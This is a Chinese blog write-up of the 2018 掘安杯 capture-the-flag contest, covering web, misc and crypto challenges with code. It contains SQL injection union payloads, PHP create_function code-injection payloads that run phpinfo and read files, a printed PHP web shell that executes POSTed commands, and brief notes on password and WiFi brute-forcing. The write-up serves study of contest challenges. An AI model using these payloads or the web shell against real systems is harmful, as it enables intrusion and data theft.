Virtua1's blog

2018掘安杯部分wp

字数统计: 2k阅读时长: 10 min
2019/04/06 Share

0x01 前言

在家无事,看了下掘安杯,有几个题目还可以,题目大都师弟做的,题目都是后来回忆的,简单记录一下思路。

0x02 WEB

2.1

bp抓包,解密得到flag

2.2

提供了一个下载文件的link,查看注释发现flag.php,下载flag.php:

1
<?php
2
header('Content-Type: text/html; charset=utf-8'); //网页编码
3
function encrypt($data, $key) {
4
	$key = md5 ( $key );
5
	$x = 0;
6
	$len = strlen ( $data );
7
	$l = strlen ( $key );
8
	for($i = 0; $i < $len; $i ++) {
9
		if ($x == $l) {
10
			$x = 0;
11
		}
12
		$char .= $key {$x};
13
		$x ++;
14
	}
15
	for($i = 0; $i < $len; $i ++) {
16
		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
17
	}
18
	return base64_encode ( $str );
19
}
20
21
function decrypt($data, $key) {
22
	$key = md5 ( $key );
23
	$x = 0;
24
	$data = base64_decode ( $data );
25
	$len = strlen ( $data );
26
	$l = strlen ( $key );
27
	for($i = 0; $i < $len; $i ++) {
28
		if ($x == $l) {
29
			$x = 0;
30
		}
31
		$char .= substr ( $key, $x, 1 );
32
		$x ++;
33
	}
34
	for($i = 0; $i < $len; $i ++) {
35
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
36
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
37
		} else {
38
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
39
		}
40
	}
41
	return $str;
42
}
43
44
$key="MyCTF";
45
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
46
?>

直接用函数解密就可以了。

2.3

右键发现源码:

1
session_start();
2
$_SESSION['pwd']=time();
3
if (isset ($_POST['password'])) {
4
	if ($_POST['pwd'] == $_SESSION['pwd'])
5
		die('Flag:'.$flag);
6
	else{
7
		print '<p>猜测错误.</p>';
8
		$_SESSION['pwd']=time().time();
9
	}
10
}

简单的代码,直接写个脚本就可以:

1
import requests
2
3
url = "http://120.79.1.69:8887/web3/"
4
s = requests.session()
5
data = {
6
	"pwd":""
7
}
8
res = s.post(url,data=data)
9
print (res.text)

其实直接点猜谜码也可以得到flag。

2.4

先御剑扫下目录,得到shell地址,然后bp爆破下密码,很快就得到密码:
38be6bd1808e36cabae6bc0116fe32f8.png

2.5

通过测试用户名处存在sql注入:

1
admin'%0aUNION%0aSELECT%0a1,2,3#
2
3
admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#
4
5
admin'UNIONSELECT1,group_concat(table_name),3frominfORmation_schema.tableswheretable_schema='xiaowei'#
6
7
admin'UNIONSELECT1,group_concat(column_name),3frominfORmation_schema.columnswheretable_name='admin'#
8
9
admin'UNIONSELECTid,username,3fromadmin#
10
11
admin'UNIONSELECTid,password,3fromadmin#

通过注入得到账号密码然后写脚本快速计算提交验证码。
提取question计算的时候要注意下不可见字符。
得到源码:

1
Private Function getPassword(ByVal str As String) As String
2
3
4
    Dim reString As String
5
    
6
    Dim i As Integer
7
    i = 1
8
    
9
    
10
    While (i <= Len(str))
11
    
12
     reString = reString & Mid(str, i, 1)
13
     i = i + (i Mod 5)
14
    
15
    
16
    Wend
17
    
18
19
    getPassword = reString
20
21
End Function
22
23
24
25
Private Sub Command1_Click()
26
27
   Dim Dictionary As String
28
    
29
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
30
   
31
   Dim password As String
32
   
33
   password = getPassword(Dictionary)
34
35
36
   Dim psw As String
37
   
38
   psw = Text1.Text
39
   
40
41
   If (psw = password) Then
42
   
43
    MsgBox "The password is correct!", vbOKOnly, "������ȷ"
44
    
45
    Text1.Text = "Password for next pass : " & getPassword(password)
46
       
47
   Else
48
   
49
    MsgBox "PasswordFail!", vbOKOnly, "�������"
50
    
51
      
52
   End If
53
   
54
      
55
56
End Sub

转化为python:

1
def getPassword(string):
2
	i = 1
3
	reString = ''
4
	while i <= len(string) :
5
		reString = reString + string[i-1]
6
		i = i + (i % 5)
7
	return reString
8
9
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
10
11
password = getPassword(Dictionary)
12
password = getPassword(password)
13
print(password)

得到图片后。strings一下就可以了。

2.6

这题出事了。。你懂的。
这题是参照p牛的代码审计模改的,首先看代码:

1
<?php
2
error_reporting(0);
3
if(isset($_GET['action'])) {
4
	$action = $_GET['action'];
5
}
6
7
if(isset($_GET['action'])){
8
	$arg = $_GET['arg'];
9
}
10
11
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
12
    show_source(__FILE__);
13
} else {
14
    $action($arg,'');
15
}

修改了最后参数的位置,换个闭合方式就可以了。再来回顾下create_function()函数:

1
string create_function   ( string $args   , string $code   )

$args : 变量部分
$code : 方法代码部分

1
create_function('$fname','echo $fname."virtua1"')

类似于:

1
function v1($fname) {
2
  echo $fname."virtua1";}

前边的正则绕过利用的是php全局命名空间。通过fuzz %5c就可以绕过。
payload:

1
?action=%5ccreate_function&arg=){}phpinfo();//

接下来列目录读flag就可以了。

1
?action=%5ccreate_function&arg=){}var_dump(scandir("./"));//
2
?action=%5ccreate_function&arg=){}var_dump(file("./flagfilename"));//

2.7

一道代码审计的题目。代码:

1
<?php
2
highlight_file(__FILE__);
3
include('flag.php');
4
$str1 = @$_GET['str1'];
5
$str2 = @$_GET['str2'];
6
$str3 = @$_GET['str3'];
7
$str4 = @$_GET['str4'];
8
$str5 = (string)@$_POST['str5'];
9
$str6 = (string)@$_POST['str6'];
10
$str7 = (string)@$_POST['str7'];
11
if( $str1 == $str2 ){
12
    die('str1 OR Sstr2 no no no');
13
}
14
if( md5($str1) != md5($str2) ){
15
    die('step 1 fail');
16
}
17
if( $str3 == $str4 ){
18
    die('str3 OR str4 no no no');
19
}
20
if ( md5($str3) !== md5($str4)){
21
    die('step 2 fail');
22
}
23
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
24
    die('str5 OR str6 OR str7 no no no');
25
}
26
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
27
	die('step 3 fail');
28
}
29
30
if(!($_POST['a']) and !($_POST['b']))
31
{
32
	echo "come on!";
33
	die();
34
}
35
$a = $_POST['a'];
36
$b = $_POST['b'];
37
$m = $_GET['m'];
38
$n = $_GET['n'];
39
40
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
41
{
42
	echo "a OR b fail!";
43
	die();
44
}
45
46
if ((strlen($m) > 4) || (strlen($n) > 4)) 
47
{
48
	echo "m OR n fail";
49
	die();
50
}
51
52
$str8 = hash('md5', $a, false);
53
$str9 = strtr(hash('md5', $b, false), $m, $n);
54
55
echo "<p>str8 : $str8</p>";
56
echo "<p>str9 : $str9</p>";
57
58
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
59
{
60
	echo "You're great,give you flag:";
61
	echo $flag;
62
}

考察的知识点有:
弱类型绕过,数组绕过,MD5强碰撞,然后还有个替换字符串的弱类型,比较简单。
MD5强碰撞可以用工具生成若干MD5相等的文件然后提交就可以,注意利用python提交的时候要利用open().read()这种方式
替换字符串然后弱类型相等只需要写个脚本找一下:
2f690c03ff3d0ffc5d2d9d8d840162c2.png
最终脚本:

1
import requests
2
url = "http://120.79.1.69:8887/web7/index.php?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
3
4
str5 = open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
5
str6 = open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
6
str7 = open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()
7
8
data = {
9
	'str5':str5,
10
	'str6':str6,
11
	'str7':str7,
12
	'a':'QNKCDZO',
13
	'b':'259987'
14
}
15
16
res = requests.post(url=url,data=data)
17
print res.content

0x03 MISC&Crypto

3.1

公众号后台发送flag得到flag。

3.2

给了一串字符:

1
h^_o`[pZi^i`

并且提示flag格式 jactf{},又因为题目想到凯撒,应该是利用了某种移位,观察两端字符的前五个字符,分别ord一下找规律:

1
h    ^   _     o   `  
2
104 94 95 111 96
3
4
j      a   c    t    f
5
106 97 99 116 102

第一位:ord(j)=ord(h)+2
第二位:ord(a)=ord(^)+3
第三位:ord(c)=ord(_)+4
……依次类推
ord(p)=ord(c)+i+2
脚本:

1
c = "h^_o`[pZi^i`"
2
for i in range(len(c)):
3
	print(chr(ord(c[i])+i+2),end='')
4
 // jactfbxcsium

3.3

破解wifi密码。利用kali下的Aircrack-ng 工具破解,已知前几位手机号了,利用crunch 软件 生成所有可能情况的手机号,然后爆破。

3.4

一大段base,base58解密得到图片:
c956af25c2ff4b07aed17fccbc846add.png
然后base64转图片,得到二维码:
875b1c1dba7128b21be88c57450f3a8c.png
e7880a4ca2ee7727901e9e8253a72f32.png

3.5

真的不是图片。–开始用binwalk分析图片,发现图片里有压缩包,dd分离出来显示压缩包破坏,应该是修复压缩包。
winhex搜索1400,提取出后文件头补充504B0304,解压得到压缩包,解压提示有密码,直接爆破,字母数字爆破得到四位密码ja66得到大量txt文件,把txt内容串起来,得到:amFjdGZ7NjRzZTY0XzFzXzUwX2MwMDF9
解码得到flag。

3.6

提示了guess,应该是outguess工具解密,密码为guess
076c44c414e3f3641c45302edc294ec8.png

3.7

先是RSA解密:

1
c = 0
2
flag =[264032310, 4950637341, 4189137235, 3503675906, 1193272, 374530968, 5189281531, 2514200272, 4454305581, 641078597, 4395931659, 2716426599, 437539194, 3448013596, 307207209, 4750820606, 3250407993, 853905209, 2109791159, 2716426599, 2107899554, 4395931659, 2794384598, 2109791159, 5297779094, 1460874286, 1460874286, 794931679, 794931679, 5447051622, 853905209, 3198340218, 1193272, 1912323101, 5297779094, 307207209, 3231572608, 3198340218, 5189281531, 527889548, 4950637341, 2839366805, 1116457354, 527889548, 5297779094, 3250407993, 4454305581, 6510392, 3250407993, 1460874286, 1059035129, 3200359612, 853905209, 307207209, 156779101, 2145301328, 527889548, 1059035129, 5468025072, 3448013596, 2107899554, 4189137235, 3503675906, 2653436113]
3
for c in flag:
4
	d = 3960784897
5
	n = 5520780427
6
	m = pow(c,d,n)
7
	print (chr(m),end='')

得到后再des解密:
4da8c4e113acd7f3a80c4ac8748e9717.png

3.8

追踪流发现是菜刀cat flag.txt,文件被编码了,要做的就是找到编码的方式:
b54f4ea742ece59d9ffe78658954ad6b.png
shell的代码为:

1
<?php
2
$k = $_POST['k'];
3
$c = $_POST['c'];
4
$o = '';
5
if (md5($k) == '6d697064ad1b78f7e124df9807284f69') {
6
 exec($c, $o);
7
 $o = $o[0];
8
 echo base64_encode(gzcompress($o, 6));
9
}
10
?>

找到flag.txt解密即可:
7a8a24946da7b995e5a96979af672655.png

1
<?php
2
	$st = "eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi";
3
	$st = gzuncompress(base64_decode($st));
4
	echo $st;
5
?>
6
// flag{U_f1nd_Me!}
CATALOG
  1. 1. 0x01 前言
  2. 2. 0x02 WEB
    1. 2.1. 2.1
    2. 2.2. 2.2
    3. 2.3. 2.3
    4. 2.4. 2.4
    5. 2.5. 2.5
    6. 2.6. 2.6
    7. 2.7. 2.7
  3. 3. 0x03 MISC&Crypto
    1. 3.1. 3.1
    2. 3.2. 3.2
    3. 3.3. 3.3
    4. 3.4. 3.4
    5. 3.5. 3.5
    6. 3.6. 3.6
    7. 3.7. 3.7
    8. 3.8. 3.8